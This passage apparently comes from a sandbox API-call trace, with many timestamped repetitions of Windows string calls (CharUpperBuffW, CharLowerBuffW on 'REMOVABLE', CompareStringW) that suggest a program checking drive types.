cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.489] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.489] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.489] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.490] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.490] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.490] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.490] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.490] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.490] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.491] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.491] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.491] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.491] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.491] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.491] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.491] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.492] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.492] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.492] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.492] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.492] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.492] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.492] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.493] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.493] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.493] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.493] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.532] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.532] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.533] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.533] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.533] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.533] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.533] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.533] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.533] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.533] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.533] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.533] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.534] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.534] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.534] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.534] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.534] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.534] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.534] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.534] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.534] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.534] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.534] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.534] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.534] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.535] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.535] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.535] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.535] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.535] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.535] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.535] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.535] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.535] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.535] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.535] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.535] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.536] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.536] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.536] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.536] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.536] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.536] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.536] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.536] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.536] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.536] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.536] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.536] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.546] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.546] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.546] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.546] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.546] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.547] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.547] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.547] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.547] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.599] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.599] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.599] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.599] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.599] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.599] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.599] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.599] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.599] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.599] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.599] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.599] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.600] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.600] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.600] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.600] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.600] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.600] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.600] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.600] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.600] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.600] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.601] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.601] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.601] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.601] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.601] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.601] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.601] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.601] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.601] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.601] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.601] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.602] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.602] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.602] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.602] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.602] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.602] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.602] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.624] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.624] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.624] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.624] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.624] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.624] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.624] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.624] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.625] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.625] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.625] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.625] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.625] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.625] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.625] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.625] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.625] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.625] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.625] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.625] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.626] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.626] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.626] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.626] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.626] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.626] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.626] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.626] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.626] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.626] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.626] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.626] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.627] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.627] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.627] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.627] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.627] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.627] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.627] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.627] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.627] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.627] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.627] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.627] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.628] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.628] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.628] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.628] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.635] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.635] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.635] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.635] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.635] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.636] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.636] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.636] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.636] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.636] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.636] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.636] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.636] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.636] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.636] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.636] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.637] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.637] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.637] CharUpperBuffW (in: 